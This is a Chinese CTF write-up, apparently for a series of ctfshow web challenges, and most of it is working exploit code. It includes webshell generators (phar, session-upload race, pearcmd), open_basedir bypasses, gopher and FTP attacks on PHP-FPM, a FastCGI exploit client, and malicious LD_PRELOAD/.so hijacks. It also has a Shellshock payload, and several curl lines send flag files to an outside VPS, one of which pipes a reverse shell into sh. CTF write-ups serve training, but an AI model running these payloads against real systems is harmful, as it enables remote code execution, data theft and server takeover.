赞
踩
目录
flask算PIN,这篇文章有写:https://z3r4y.blog.csdn.net/article/details/134494238
初始界面:
访问/console,开启了debug模式
/file?filename=suibian,随便传个值让flask报错,看到app路径为
/usr/local/lib/python3.8/site-packages/flask/app.py
/file?filename=/sys/class/net/eth0/address,读getNode得到uuid
0242ac0c9f9c,十六进制再转十进制
2485377605532
/file?filename=/proc/sys/kernel/random/boot_id
225374fa-04bc-4346-9f39-48fa82829ca9
/file?filename=/proc/self/cgroup
b411d864f4e593f4e388782956b10f2d5e11871e2ae5c13bc45e5e8cd18a766d
二者拼接一下得到machine_id
225374fa-04bc-4346-9f39-48fa82829ca9b411d864f4e593f4e388782956b10f2d5e11871e2ae5c13bc45e5e8cd18a766d
用下面的脚本算pin
- import hashlib
- from itertools import chain
-
-
- def getPIN(public_bits, private_bits):
- rv = None
- num = None
- h = hashlib.sha1()
- for bit in chain(public_bits, private_bits):
- if not bit:
- continue
- if isinstance(bit, str):
- bit = bit.encode("utf-8")
- h.update(bit)
- h.update(b"cookiesalt")
-
- cookie_name = f"__wzd{h.hexdigest()[:20]}"
-
- # If we need to generate a pin we salt it a bit more so that we don't
- # end up with the same value and generate out 9 digits
- if num is None:
- h.update(b"pinsalt")
- num = f"{int(h.hexdigest(), 16):09d}"[:9]
- # Format the pincode in groups of digits for easier remembering if
- # we don't have a result yet.
- if rv is None:
- for group_size in 5, 4, 3:
- if len(num) % group_size == 0:
- rv = "-".join(
- num[x: x + group_size].rjust(group_size, "0")
- for x in range(0, len(num), group_size)
- )
- break
- else:
- rv = num
-
- return rv, cookie_name
-
-
- if __name__ == "__main__":
- public_bits = [
- 'root',
- 'flask.app',
- 'Flask',
- '/usr/local/lib/python3.8/site-packages/flask/app.py'
- ]
-
- private_bits = [
- '2485377605532',
- '225374fa-04bc-4346-9f39-48fa82829ca9b411d864f4e593f4e388782956b10f2d5e11871e2ae5c13bc45e5e8cd18a766d'
- ]
-
- PIN = getPIN(public_bits, private_bits)
- print(PIN)
访问/console,输入pin值,拿到交互式console
直接代码执行就可
无字母数字命令执行,可以看看这篇文章:https://z3r4y.blog.csdn.net/article/details/134338909
只ban了字母数字,不要太友好
最方便的就是取反
- <?php
-
- function negateRce(){
- fwrite(STDOUT,'[+]your function: ');
-
- $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
-
- fwrite(STDOUT,'[+]your command: ');
-
- $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
-
- echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
- }
-
- negateRce();
phar文件包含
没有文件上传点,只能强制文件上传了,发现会立刻删除,走条件竞争有点哈皮,题目里给了写文件的else分支,利用即可,先写恶意文件,再包含恶意文件。
- <?php
- $phar = new Phar("test.phar");
- $phar->startBuffering();
- $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
- $phar->addFromString("a.txt", "<?php eval(\$_POST[1]);?>");
- $phar->stopBuffering();
- ?>
- import requests
- url="http://ae901965-37ad-47cb-b923-7be4020cf94a.challenge.ctf.show/"
-
- file={'file':'/tmp/a.phar','content':open('test.phar','rb').read()}
- data={'file':'phar:///tmp/a.phar/a','content':'suibian','1':'system("cat f*");'}
- requests.post(url,data=file)
- r=requests.post(url,data=data)
- print(r.text)
phar反序列化,可以看看这两篇文章:
https://z3r4y.blog.csdn.net/article/details/134479335
【Web】Phar反序列化相关例题wp_newstarctf pharone-CSDN博客
file_exists触发反序列化
- <?php
- class hacker{
- public $code;
- public function __destruct(){
- eval($this->code);
- }
- }
- $a=new hacker();
- $a->code="system('cat f*');";
-
-
- $phar = new Phar("test.phar"); //后缀名必须为phar
- $phar->startBuffering();
- $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
- $phar->setMetadata($a); //将自定义的meta-data存入manifest
- $phar->addFromString("test.txt", "test"); //添加要压缩的文件
- $phar->stopBuffering();
-
- ?><?php
- import requests
- url="http://5d5c1d43-55e2-45d0-877a-ef8da113932e.challenge.ctf.show/"
-
- file={'file':'/tmp/a.phar','content':open('test.phar','rb').read()}
- data={'file':'phar:///tmp/a.phar','content':'suibian'}
- requests.post(url,data=file)
- r=requests.post(url,data=data)
- print(r.text)
open_basedir绕过 可以看看这篇文章:
从0学习bypass open_basedir姿势 - 先知社区
先看下函数禁用
1=phpinfo();
可以看到命令执行的函数都被ban了,那读文件可以用readfile函数
payload:
1=mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
1=mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/ctfshowflag');
php无参RCE,可以看这篇文章:https://xz.aliyun.com/t/9360
payload:
?code=eval(end(current(get_defined_vars())));&Z3r4y=system('cat /ctfshowflag');
推荐一个网站:https://your-shell.com/
傻瓜型反弹shell,我行你也行
payload:
?url=https://your-shell.com/124.222.136.33:1337 | sh
(先在自己vps开启1337端口监听)
贴出执行:
?url=https://;curl http://124.222.136.33:1338?flag=`cat /*`
注意一些特殊符号带不出来
临时文件包含,做过临时文件包含的师傅都知道复现的难度有多大,所以建议直接session文件包含
用下面脚本打就可
- import requests
- import threading
-
- session = requests.session()
-
- sess = "ctfshow"
-
- file_name = "/var/www/html/1.php"
- file_content = '<?php eval($_POST[1]);?>'
-
- url = "http://3fd00eb3-48d8-4a13-99e6-4dcced70454f.challenge.ctf.show/"
-
- data = {
- "PHP_SESSION_UPLOAD_PROGRESS": f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"
- }
-
- file = {
- 'file': 'ctfshow'
- }
-
- cookies = {
- 'PHPSESSID': sess
- }
-
-
- def write():
- while True:
- r = session.post(url=url, data=data, files=file, cookies=cookies)
-
-
- def read():
- while True:
- r = session.post(url=url + "?file=/tmp/sess_ctfshow")
- if "success" in r.text:
- print("shell 地址为:" + url + "1.php")
- exit()
-
-
- if __name__ == "__main__":
- event = threading.Event()
- with requests.session() as session:
- for i in range(1, 30):
- threading.Thread(target=write).start()
- for i in range(1, 30):
- threading.Thread(target=read).start()
- event.set()
pear文件包含/RCE
都用bp发包
可以在/tmp目录下写文件
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/var/www/html/test.php
因为tmp是根目录下的,只能配合文件包含来利用
- ?file=/tmp/test.php
-
- cmd=system('cat+/f*');
也可以直接在/var/www/html下写文件
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/var/www/html/test.php
然后直接访问/test.php即可,方便一点
SSRF打PHP-FPM,就是SSRF打中间件的套路
PHP-FPM 是基于 FastCGI 协议的 PHP 进程管理器
相关知识可以看这篇文章:
直接gopherus乱打
_后内容再url编码一次
?url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
file_put_contents打PHP-FPM,可以看看这篇文章:PHP-FPM攻击详解 - 跳跳糖
这题没有写文件的权限,可以考虑ftp打php-fpm
按部就班复现就行,但好像不能反弹shell,可以考虑信息外带
起个恶意ftp服务器,把恶意数据流转发到127.0.0.1:9000
- import socket
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.bind(('0.0.0.0',1338)) #端口可改
- s.listen(1)
- conn, addr = s.accept()
- conn.send(b'220 welcome\n')
- #Service ready for new user.
- #Client send anonymous username
- #USER anonymous
- conn.send(b'331 Please specify the password.\n')
- #User name okay, need password.
- #Client send anonymous password.
- #PASS anonymous
- conn.send(b'230 Login successful.\n')
- #User logged in, proceed. Logged out if appropriate.
- #TYPE I
- conn.send(b'200 Switching to Binary mode.\n')
- #Size /
- conn.send(b'550 Could not get the file size.\n')
- #EPSV (1)
- conn.send(b'150 ok\n')
- #PASV
- conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
- conn.send(b'150 Permission denied.\n')
- #QUIT
- conn.send(b'221 Goodbye.\n')
- conn.close()
最终payload:
?file=ftp://124.222.136.33:1338/test&content=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00a%04%00%3C%3Fphp%20system%28%27curl%20http%3A//124.222.136.33%3A1337%3Fflag%3D%60cat%20/%2A%60%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
PHP-FPM未授权
脚本:
- import socket
- import random
- import argparse
- import sys
- from io import BytesIO
-
- # Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
-
- PY2 = True if sys.version_info.major == 2 else False
-
-
- def bchr(i):
- if PY2:
- return force_bytes(chr(i))
- else:
- return bytes([i])
-
- def bord(c):
- if isinstance(c, int):
- return c
- else:
- return ord(c)
-
- def force_bytes(s):
- if isinstance(s, bytes):
- return s
- else:
- return s.encode('utf-8', 'strict')
-
- def force_text(s):
- if issubclass(type(s), str):
- return s
- if isinstance(s, bytes):
- s = str(s, 'utf-8', 'strict')
- else:
- s = str(s)
- return s
-
-
- class FastCGIClient:
- """A Fast-CGI Client for Python"""
-
- # private
- __FCGI_VERSION = 1
-
- __FCGI_ROLE_RESPONDER = 1
- __FCGI_ROLE_AUTHORIZER = 2
- __FCGI_ROLE_FILTER = 3
-
- __FCGI_TYPE_BEGIN = 1
- __FCGI_TYPE_ABORT = 2
- __FCGI_TYPE_END = 3
- __FCGI_TYPE_PARAMS = 4
- __FCGI_TYPE_STDIN = 5
- __FCGI_TYPE_STDOUT = 6
- __FCGI_TYPE_STDERR = 7
- __FCGI_TYPE_DATA = 8
- __FCGI_TYPE_GETVALUES = 9
- __FCGI_TYPE_GETVALUES_RESULT = 10
- __FCGI_TYPE_UNKOWNTYPE = 11
-
- __FCGI_HEADER_SIZE = 8
-
- # request state
- FCGI_STATE_SEND = 1
- FCGI_STATE_ERROR = 2
- FCGI_STATE_SUCCESS = 3
-
- def __init__(self, host, port, timeout, keepalive):
- self.host = host
- self.port = port
- self.timeout = timeout
- if keepalive:
- self.keepalive = 1
- else:
- self.keepalive = 0
- self.sock = None
- self.requests = dict()
-
- def __connect(self):
- self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- self.sock.settimeout(self.timeout)
- self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
- # if self.keepalive:
- # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
- # else:
- # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
- try:
- self.sock.connect((self.host, int(self.port)))
- except socket.error as msg:
- self.sock.close()
- self.sock = None
- print(repr(msg))
- return False
- return True
-
- def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
- length = len(content)
- buf = bchr(FastCGIClient.__FCGI_VERSION) \
- + bchr(fcgi_type) \
- + bchr((requestid >> 8) & 0xFF) \
- + bchr(requestid & 0xFF) \
- + bchr((length >> 8) & 0xFF) \
- + bchr(length & 0xFF) \
- + bchr(0) \
- + bchr(0) \
- + content
- return buf
-
- def __encodeNameValueParams(self, name, value):
- nLen = len(name)
- vLen = len(value)
- record = b''
- if nLen < 128:
- record += bchr(nLen)
- else:
- record += bchr((nLen >> 24) | 0x80) \
- + bchr((nLen >> 16) & 0xFF) \
- + bchr((nLen >> 8) & 0xFF) \
- + bchr(nLen & 0xFF)
- if vLen < 128:
- record += bchr(vLen)
- else:
- record += bchr((vLen >> 24) | 0x80) \
- + bchr((vLen >> 16) & 0xFF) \
- + bchr((vLen >> 8) & 0xFF) \
- + bchr(vLen & 0xFF)
- return record + name + value
-
- def __decodeFastCGIHeader(self, stream):
- header = dict()
- header['version'] = bord(stream[0])
- header['type'] = bord(stream[1])
- header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
- header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
- header['paddingLength'] = bord(stream[6])
- header['reserved'] = bord(stream[7])
- return header
-
- def __decodeFastCGIRecord(self, buffer):
- header = buffer.read(int(self.__FCGI_HEADER_SIZE))
-
- if not header:
- return False
- else:
- record = self.__decodeFastCGIHeader(header)
- record['content'] = b''
-
- if 'contentLength' in record.keys():
- contentLength = int(record['contentLength'])
- record['content'] += buffer.read(contentLength)
- if 'paddingLength' in record.keys():
- skiped = buffer.read(int(record['paddingLength']))
- return record
-
- def request(self, nameValuePairs={}, post=''):
- if not self.__connect():
- print('connect failure! please check your fasctcgi-server !!')
- return
-
- requestId = random.randint(1, (1 << 16) - 1)
- self.requests[requestId] = dict()
- request = b""
- beginFCGIRecordContent = bchr(0) \
- + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
- + bchr(self.keepalive) \
- + bchr(0) * 5
- request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
- beginFCGIRecordContent, requestId)
- paramsRecord = b''
- if nameValuePairs:
- for (name, value) in nameValuePairs.items():
- name = force_bytes(name)
- value = force_bytes(value)
- paramsRecord += self.__encodeNameValueParams(name, value)
-
- if paramsRecord:
- request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
- request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
-
- if post:
- request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
- request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
-
- self.sock.send(request)
- self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
- self.requests[requestId]['response'] = b''
- return self.__waitForResponse(requestId)
-
- def __waitForResponse(self, requestId):
- data = b''
- while True:
- buf = self.sock.recv(512)
- if not len(buf):
- break
- data += buf
-
- data = BytesIO(data)
- while True:
- response = self.__decodeFastCGIRecord(data)
- if not response:
- break
- if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
- or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
- if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
- self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
- if requestId == int(response['requestId']):
- self.requests[requestId]['response'] += response['content']
- if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
- self.requests[requestId]
- return self.requests[requestId]['response']
-
- def __repr__(self):
- return "fastcgi connect host:{} port:{}".format(self.host, self.port)
-
-
- if __name__ == '__main__':
- parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
- parser.add_argument('host', help='Target host, such as 127.0.0.1')
- parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
- parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php system("cat /flagfile"); exit; ?>')
- parser.add_argument('-p', '--port', help='FastCGI port', default=28074, type=int)
-
- args = parser.parse_args()
-
- client = FastCGIClient(args.host, args.port, 3, 0)
- params = dict()
- documentRoot = "/"
- uri = args.file
- content = args.code
- params = {
- 'GATEWAY_INTERFACE': 'FastCGI/1.0',
- 'REQUEST_METHOD': 'POST',
- 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
- 'SCRIPT_NAME': uri,
- 'QUERY_STRING': '',
- 'REQUEST_URI': uri,
- 'DOCUMENT_ROOT': documentRoot,
- 'SERVER_SOFTWARE': 'php/fcgiclient',
- 'REMOTE_ADDR': '127.0.0.1',
- 'REMOTE_PORT': '9985',
- 'SERVER_ADDR': '127.0.0.1',
- 'SERVER_PORT': '80',
- 'SERVER_NAME': "localhost",
- 'SERVER_PROTOCOL': 'HTTP/1.1',
- 'CONTENT_TYPE': 'application/text',
- 'CONTENT_LENGTH': "%d" % len(content),
- 'PHP_VALUE': 'auto_prepend_file = php://input',
- 'PHP_ADMIN_VALUE': 'allow_url_include = On'
- }
- response = client.request(params, content)
- print(force_text(response))
最终payload:
python ftpexp.py -c "<?php system('cat /f*');?>" -p 28160 pwn.challenge.ctf.show /usr/local/lib/php/System.php
劫持mysqli
利用条件:
1.拓展目录明确且可写
2.能够载入我们的恶意so文件(重启php-fpm或能使用php命令行)
3.有调用我们自定义函数的代码
通过将常用的函数、类和数据打包成.so 文件,不同的程序可以共享这些代码,避免重复编写和维护相同的代码逻辑,提高了代码的重用性。
php -r
是 PHP 命令行工具的一个参数,用于在命令行中直接执行 PHP 代码而不需要编写独立的 PHP 脚本文件。通过 php -r
参数,可以方便快捷地在命令行中执行一行简单的 PHP 代码。
使用格式为:php -r 'php code here'
注册函数找不到就去拓展目录找so文件,调用ctfshow函数的时候就会去so文件里面找,这题就是mysqli.so了,而mysqli.so已经被我们所覆写,从而执行恶意代码
(关于为啥要用命令行,因为命令行就是每次将拓展载入,使用,销毁)
我们接下来的工作只要劫持(改写)被调用的so文件即可,这一题就是mysqli.so
phpinfo看一眼路径
我用的php源码是7.3.22的,用其自带的ext_skel.php来生成so文件
具体流程如下:
- php ext_skel.php --ext ctfshow --std
- cd ctfshow
- 修改ctfshow.c的源码
- phpize
- ./configure
- make && make install
贴出ctfshow.c(注意这里的system是c语言的system,而非php的system,哪怕system被disable_function禁用了也不受影响)
- #ifdef HAVE_CONFIG_H
- # include "config.h"
- #endif
-
- #include "php.h"
- #include "ext/standard/info.h"
- #include "php_ctfshow.h"
-
- /* For compatibility with older PHP versions */
- #ifndef ZEND_PARSE_PARAMETERS_NONE
- #define ZEND_PARSE_PARAMETERS_NONE() \
- ZEND_PARSE_PARAMETERS_START(0, 0) \
- ZEND_PARSE_PARAMETERS_END()
- #endif
-
- /* {{{ void ctfshow_test1()
- */
- PHP_FUNCTION(ctfshow)
- {
- ZEND_PARSE_PARAMETERS_NONE();
- system("curl 124.222.136.33:1337?flag=`cat /f*`");
- }
- /* }}} */
-
- /* {{{ string ctfshow_test2( [ string $var ] )
- */
- PHP_FUNCTION(ctfshow_test2)
- {
- char *var = "World";
- size_t var_len = sizeof("World") - 1;
- zend_string *retval;
- ZEND_PARSE_PARAMETERS_START(0, 1)
- Z_PARAM_OPTIONAL
- Z_PARAM_STRING(var, var_len)
- ZEND_PARSE_PARAMETERS_END();
- retval = strpprintf(0, "Hello %s", var);
- RETURN_STR(retval);
- }
- /* }}}*/
-
- /* {{{ PHP_RINIT_FUNCTION
- */
- PHP_RINIT_FUNCTION(ctfshow)
- {
- #if defined(ZTS) && defined(COMPILE_DL_CTFSHOW)
- ZEND_TSRMLS_CACHE_UPDATE();
- #endif
- return SUCCESS;
- }
- /* }}} */
-
- /* {{{ PHP_MINFO_FUNCTION
- */
- PHP_MINFO_FUNCTION(ctfshow)
- {
- php_info_print_table_start();
- php_info_print_table_header(2, "ctfshow support", "enabled");
- php_info_print_table_end();
- }
- /* }}} */
-
- /* {{{ arginfo
- */
- ZEND_BEGIN_ARG_INFO(arginfo_ctfshow_test1, 0)
- ZEND_END_ARG_INFO()
- ZEND_BEGIN_ARG_INFO(arginfo_ctfshow_test2, 0)
- ZEND_ARG_INFO(0, str)
- ZEND_END_ARG_INFO()
- /* }}} */
-
- /* {{{ ctfshow_functions[]
- */
- static const zend_function_entry ctfshow_functions[] = {
- PHP_FE(ctfshow, arginfo_ctfshow_test1)
- PHP_FE(ctfshow_test2, arginfo_ctfshow_test2)
- PHP_FE_END
- };
- /* }}} */
-
- /* {{{ ctfshow_module_entry
- */
- zend_module_entry ctfshow_module_entry = {
- STANDARD_MODULE_HEADER,
- "ctfshow", /* Extension name */
- ctfshow_functions, /* zend_function_entry */
- NULL, /* PHP_MINIT - Module initialization */
- NULL, /* PHP_MSHUTDOWN - Module shutdown */
- PHP_RINIT(ctfshow), /* PHP_RINIT - Request initialization */
- NULL, /* PHP_RSHUTDOWN - Request shutdown */
- PHP_MINFO(ctfshow), /* PHP_MINFO - Module info */
- PHP_CTFSHOW_VERSION, /* Version */
- STANDARD_MODULE_PROPERTIES
- };
- /* }}} */
-
- #ifdef COMPILE_DL_CTFSHOW
- # ifdef ZTS
- ZEND_TSRMLS_CACHE_DEFINE()
- # endif
- ZEND_GET_MODULE(ctfshow)
- #endif
-
- /*
- * Local variables:
- * tab-width: 4
- * c-basic-offset: 4
- * End:
- */
要把二进制文件流写入靶机mysqli.so文件中,写脚本即可
- import requests
- url="http://7f163334-7227-417a-b019-05dd12755970.challenge.ctf.show/"
- data={'file':'/usr/local/lib/php/extensions/no-debug-non-zts-20180731/mysqli.so','content':open('ctfshow.so','rb').read()}
- r1 = requests.post(url+'?a=write',data=data)
- print(r1.content)
- r2 = requests.get(url+'?a=run')
- print(r2.content)
监听,外带
劫持getuid
利用条件:
1.有文件写入点 2.可执行putenv命令 3.执行了可以生成新进程的函数
php中可以产生新进程的函数:
1.命令执行类:system shell_exec exec passthru
2.进程类:proc_open popen pcntl
3.外部程序调用类:mail imap_mail
4.拓展缺陷类:imagick
关于LD_PRELOAD
:LD_PRELOAD
是一个用于动态链接器的环境变量,它可以指定一个共享库(通常是一个预加载库),在程序启动时优先加载该库,覆盖系统默认的同名函数。LD_PRELOAD
的作用主要是用来干预程序的动态链接过程,通过提供自定义的共享库,可以重定义或增强程序中的特定函数的行为。
关于getuid:在php中,如果要启动一个新的进程,那么这个进程会调用getuid函数,如果通过环境变量LD_PRELOAD
指定恶意的so文件,那么只要新建进程,就会执行我们的恶意代码。这里的system就起到了新建进程的作用。
web814.c
- #include <stdlib.h>
- #include <stdio.h>
- #include <string.h>
- void payload(){
- system("curl http://124.222.136.33:1337?flag=`cat /f*`");
- }
- int getuid()
- {
- if(getenv("LD_PRELOAD")==NULL){ return 0;}
- unsetenv("LD_PRELOAD");
- payload();
- }
依次执行,生成恶意so文件
- gcc -c -fPIC web814.c -o exp
- gcc --share exp -o exp.so
写脚本(添加LD_PRELOAD加载恶意so文件覆写getuid
)
- import requests
- url="http://1bf3813f-c8e6-4e42-9732-07e5b46c496e.challenge.ctf.show/"
- data={'file':'/tmp/exp.so','content':open('exp.so','rb').read()}
- requests.post(url+'?a=write',data=data)
- requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/exp.so')
监听,外带
劫持构造器
在 C 语言中,attribute((constructor))
是一种扩展修饰符,用于指定一个函数作为在程序启动时自动执行的构造函数。当使用了这个修饰符之后,这个函数会在程序运行之前被自动调用,用于执行一些初始化操作。
使用 attribute((constructor))
修饰的函数会在 main
函数执行之前被调用,并且可以有多个这样的构造函数,它们的调用顺序取决于编译器和链接器的实现。
也就是说只要启动新进程,就会统一调用这个恶意构造函数,比web814更通用,原理基本一致。
这里mail()起到了新建进程的作用,直接打LD_PRELOAD
web815.c
- #define _GNU_SOURCE
- #include <stdlib.h>
- #include <stdio.h>
- #include <string.h>
- extern char** environ;
-
- __attribute__ ((__constructor__)) void hack(void)
- {
- unsetenv("LD_PRELOAD");
- system("curl http://124.222.136.33:1337?flag=`cat /f*`");
- }
生成恶意so文件
gcc -c -fPIC web815.c -o exp&&gcc --share exp -o exp.so
拿脚本打
- import requests
- url="http://9049c4b6-7b93-431d-a82b-907f48363ee1.challenge.ctf.show/"
- data={'file':'/tmp/exp.so','content':open('exp.so','rb').read()}
- requests.post(url+'?a=write',data=data)
- requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/exp.so')
监听,外带
临时文件利用
so文件拓展是system新建进程触发的,原理和上题一样,但用的是临时文件上传的方式写文件(这题/tmp目录有写文件的权限,所以不需要条件竞争)
关于这里为啥是[2]?因为如果tmp目录为空,第一个是.目录,第二个是..目录,第三个元素就是我们上传的临时文件名
用的还是web815的so文件
- import requests
- url="http://d232d316-e893-4ab6-8525-726550153e15.challenge.ctf.show/?env=LD_PRELOAD=/tmp/"
- file={'file':open('exp.so','rb').read()}
- res=requests.post(url,files=file)
监听,外带
题目源码
- $file = $_GET['file'];
- if(isset($file) && preg_match("/^\/(\w+\/?)+$/", $file)){
- shell_exec(shell_exec("cat $file"));
-
- }
正则意思是匹配以斜杠开头,后跟一个或多个字母数字字符和斜杠的字符串
然后无回显执行一个文件的内容
这题考的是nginx的body缓存机制,恶意so文件如果字节数小于16K,我们可以手工膨胀到16K以上,在恶意so文件加入无关字节,有可能将我们的恶意so文件通过缓存文件形式暂时保留。
在上传文件被删除后,还继续进行了修改和访问,可以通过访问/proc/pid/fd/xxx访问被删除的文件
可以一边post传数据,一边读fd下文件
可以参考这篇文章:LFI to RCE – AndyNoel's Blog
默认php的执行用户名为www-data
脚本:
- import threading
- import socket
- import re
- port= 28121
- s=socket.socket()
- s.connect(('pwn.challenge.ctf.show',port))
- s.send(f'''GET / HTTP/1.1
- Host:127.0.0.1
- '''.encode())
- data=s.recv(1024).decode()
- s.close()
- pid = re.findall('(.*?) www-data',data)[0].strip()
- print(pid)
-
- con="curl http://124.222.136.33:1337?`cat /f*`;"+'0'*1024*500
- l = len(con)
- def upload():
- while True:
- s=socket.socket()
- s.connect(('pwn.challenge.ctf.show',port))
- x=f'''POST / HTTP/1.1
- Host: 127.0.0.1
- Content-Length: {l}
- Content-Type: application/x-www-form-urlencoded
- Connection: close
- {con}
- '''.encode()
- s.send(x)
- s.close()
-
- def bruter():
- while True:
- for fd in range(3,40):
- print(fd)
- s=socket.socket()
- s.connect(('pwn.challenge.ctf.show',port))
- s.send(f'''GET /?file=/proc/{pid}/fd/{fd} HTTP/1.1
- Host: 127.0.0.1
- Connection: close
- '''.encode())
- print(s.recv(2048).decode())
- s.close()
-
-
- for i in range(30):
- t = threading.Thread(target=upload)
- t.start()
- for j in range(30):
- a = threading.Thread(target=bruter)
- a.start()
监听,外带
题目代码
-
- $env = $_GET['env'];
- if(isset($env)){
- putenv($env);
- system("echo ctfshow");
- }else{
- system("ps aux");
- }
- ···
这题考的是利用nginx的body缓存配合LD_PRELOAD实现恶意so文件的代码执行,用的还是web815的so文件
脚本
- import threading
- import socket
- import re
- port= 28151
- s=socket.socket()
- s.connect(('pwn.challenge.ctf.show',port))
- s.send(f'''GET / HTTP/1.1
- Host:127.0.0.1
- '''.encode())
- data=s.recv(1024).decode()
- s.close()
- pid = re.findall('(.*?) www-data',data)[0].strip()
- print(pid)
- l=str(len(open('exp.so','rb').read()+b'\n'*1024*200)).encode()
- def upload():
- while True:
- s=socket.socket()
- s.connect(('pwn.challenge.ctf.show',port))
- x=b'''POST / HTTP/1.1
- Host: 127.0.0.1
- User-Agent: yu22x
- Content-Length: '''+l+b'''
- Content-Type: application/x-www-form-urlencoded
- Connection: close
- '''+open('exp.so','rb').read()+b'\n'*1024*200+b'''
- '''
- s.send(x)
- s.close()
-
- def bruter():
- while True:
- for fd in range(3,40):
- print(fd)
- s=socket.socket()
- s.connect(('pwn.challenge.ctf.show',port))
- s.send(f'''GET /?env=LD_PRELOAD=/proc/{pid}/fd/{fd} HTTP/1.1
- Host: 127.0.0.1
- User-Agent: yu22x
- Connection: close
- '''.encode())
- print(s.recv(2048).decode())
- s.close()
-
-
- for i in range(30):
- t = threading.Thread(target=upload)
- t.start()
- for j in range(30):
- a = threading.Thread(target=bruter)
- a.start()
监听,外带
破壳漏洞介绍:
想办法bash的匿名函数环境变量
bash在设计上可以通过环境变量来初始化一个匿名函数,并给其命名,函数体必须(){开头,函数名BASH_FUNC_开头,并以%%结尾
我们只需要控制生成一个能够还原为函数的环境变量格式,就能在system底层调用bash后,通过环境变量注册一个函数。即我们可以控制任意函数(覆写),只要有调用这个函数的地方,就可以任意代码执行
但靶机sh环境必须要是bash才能利用,如ubuntu的dsh,alpine的ash均不能用这种姿势
payload:
?env=BASH_FUNC_whoami%%=() { cat /f*;}
这题,无图言屌,懂的都懂
7字符可写(web目录可写)
参考文章:
https://blog.51cto.com/u_15080020/4328045
脚本
- import requests
- import time
-
- url = "http://ff2d125b-85e0-4c9a-a5bb-ac6ff03890f5.challenge.ctf.show/"
-
- payload = [
- ">hp",
- ">1.p\\",
- ">d\\>\\",
- ">\\ -\\",
- ">e64\\",
- ">bas\\",
- ">7\\|\\",
- ">XSk\\",
- ">Fsx\\",
- ">dFV\\",
- ">kX0\\",
- ">bCg\\",
- ">XZh\\",
- ">AgZ\\",
- ">waH\\",
- ">PD9\\",
- ">o\\ \\",
- ">ech\\",
- "ls -t>0",
- ". 0"
- ]
-
-
- def writeFile(payload):
- data = {
- "cmd": payload
- }
- requests.post(url, data=data)
-
-
- def run():
- for p in payload:
- writeFile(p.strip())
- print("[*] create " + p.strip())
